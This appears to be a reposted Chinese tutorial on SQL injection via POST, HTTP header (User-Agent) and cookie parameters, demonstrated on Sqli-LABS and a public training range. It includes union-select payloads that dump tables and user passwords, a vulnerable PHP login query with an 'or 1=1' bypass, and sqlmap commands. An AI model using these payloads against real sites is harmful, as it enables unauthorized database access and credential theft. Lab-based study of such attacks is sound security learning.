web安全sql注入HTTP头&Post&Cookie注入

Posted Nu1LL+

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了web安全sql注入HTTP头&Post&Cookie注入相关的知识,希望对你有一定的参考价值。

先附上一段PHP代码,了解一下基本原理

<?php
header("Content-Type: text/html; charset=utf-8");

$get=$_GET['g'];
$post=$_POST['p'];
$cookie=$_COOKIE['c'];
$request=$_REQUEST['r'];
$host=$_SERVER['HTTP_HOST'];
$user_agent=$_SERVER["HTTP_USER_AGENT"];
$ip=$_SERVER["HTTP_X_FORWARDED_FOR"];

echo $get."<hr>";
echo $post."<hr>";
echo $cookie."<hr>";
echo $request."<hr>";
echo $host."<hr>";
echo $user_agent."<hr>";
echo $ip;
?>
1.$get=$_GET['g']; //接受GET传递的值赋值给变量

在这里插入图片描述

2.$post=$_POST['p']; //接受POST传递的值赋值给变量

在这里插入图片描述

3.$cookie=$_COOKIE['c']; //接受COOKIE传递的值赋值给变量

在这里插入图片描述

4.$request=$_REQUEST['r']; //全部接受或部分传递的值赋值给变量
php中$_REQUEST、$_POST、$_GET的区别:https://www.cnblogs.com/angel648/p/11059220.html
数据传输讲究数据传输的方式
$_REQUEST["参数"]具用$_POST["参数"] $_GET["参数"]的功能,但是$_REQUEST["参数"]比较慢
通过post和get方法提交的所有数据都可以通过$_REQUEST数组["参数"]获得

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
post和get传参可行,cookie传参就不行

5.$host=$_SERVER['HTTP_HOST']; //接受访问数据包中的host值赋值给变量

在这里插入图片描述

6.$user_agent=$_SERVER["HTTP_USER_AGENT"]; //接受访问数据包中的浏览器信息值赋值给变量

在这里插入图片描述

7.$ip=$_SERVER["HTTP_X_FORWARDED_FOR"]; //接受访问数据包中的IP数据信息值赋值给变量

在这里插入图片描述

利用应用场景-提交方式&接受信息
场景1:常见登录数据请求方法
场景2:常见访问者来源IP判断
场景3:常见访问者浏览器信息判断

参考:https://www.w3school.com.cn/php/php_superglobals.asp
           https://www.cnblogs.com/lushaoyan/p/11088213.html
           https://www.cnblogs.com/zhao-/p/10994615.html

SQL注入-POST注入

这里使用的Sqli-LABS靶场Less-11,打开是一个登陆界面,在登录框admin后面加单引号把它带入数据库让它报错
在这里插入图片描述
在这里插入图片描述
然后直接联合查询测试
在这里插入图片描述
在这里插入图片描述

admin%27 and 1=2 union select database(),version()
database()  //查看数据库
version() //查看版本

在这里插入图片描述

爆表:admin' and 1=2 union select 1,group_concat(table_name) from 
information_schema.tables where table_schema='security' --+

表:emails,referers,uagents,users

在这里插入图片描述

爆列名:admin' and 1=2 union select 1,group_concat(column_name) from 
information_schema.columns where table_name='users' --+

列名:user_id,first_name,last_name,user,password,
avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,
TOTAL_CONNECTIONS,id,username,password

在这里插入图片描述

爆数据:admin' and 1=2 union select  1,group_concat(username,password) from users --+

在这里插入图片描述
sqlmap post注入

python sqlmap.py -u “http://sqli-labs-master:100/Less-11/index.php” --data “uname=123&passwd=213&submit=Submit”

在这里插入图片描述

python sqlmap.py -u “http://sqli-labs-master:100/Less-11/index.php” --data “uname=123&passwd=213&submit=Submit” --current-db

在这里插入图片描述
sqlmap post请求数据包注入

把burp数据复制粘贴到txt记事本里面
在这里插入图片描述

python sqlmap.py -r post.txt

在这里插入图片描述

python sqlmap.py -r post.txt --current-db

在这里插入图片描述
那么post请求数据包注入的优点就是它会根据你burp抓包的真实数据来进行注入 --data的话就是自带sqlmap的请求数据包

sql万能密码注入

漏洞代码
$user = $_POST[ 'username' ]; //接受用户输入的账号
$pass = $_POST[ 'password' ]; //接受用户输入的密码
$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";

如果让用户传递数据 $user = ’ or ‘1’='1
sql语句就变成

SELECT * FROM `users` WHERE user = ' ' or '1'='1' AND password = '$pass';

那么 and_真和真=真 真和假=假 or_真或真=真 真或假=真
这里 ‘1’=‘1’ 为真 就构成了一个永真 ,or永远为真 后面再构造一个#注释掉 and后面的就变成
SELECT * FROM users WHERE user = ’ ’ or ‘1’=‘1’ # //真 就能进入后台

SQL注入-HTTP头注入

这里使用的Sqli-LABS靶场Less-18,注入点在UA头上,但是尝试在X-Forwarded-For上修改ip没有反应说明不存在注入
在这里插入图片描述
那么抓包在UA头上输入单引号看有报错说明带入了数据库,存在注入
在这里插入图片描述
参考:https://blog.csdn.net/devilare/article/details/112764661
由于考虑要用报错注入,我直接丢sqlmap一把梭

在这里插入图片描述

python sqlmap.py -r UA.txt --level 3 --current-db

在这里插入图片描述

在这里插入图片描述

SQL注入-Cookie注入

这里用的是掌控安全的靶场,环境可能是Access数据库+Asp脚本语言的组合
靶场:http://59.63.200.79:8004/
在这里插入图片描述
那么把后面的参数去掉,数据库报错说明存在注入
在这里插入图片描述
直接order by 10 正常,说明存在10列,这里经过测试一般的注入参数被过滤,只有尝试cookie注入,使用工具ModHeader

联合查询看是否存在admin表
在这里插入图片描述

存在admin表,爆字段 id=172+union+select+1,password,username,4,5,6,7,8,9,10+from+admin
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

以上是关于web安全sql注入HTTP头&Post&Cookie注入的主要内容,如果未能解决你的问题,请参考以下文章

web安全——HTTP请求头注入

web安全——HTTP请求头注入

web安全——HTTP请求头注入

web安全sql注入权限&跨库&文件读写&命令执行

Web高级 网站安全

SQL注入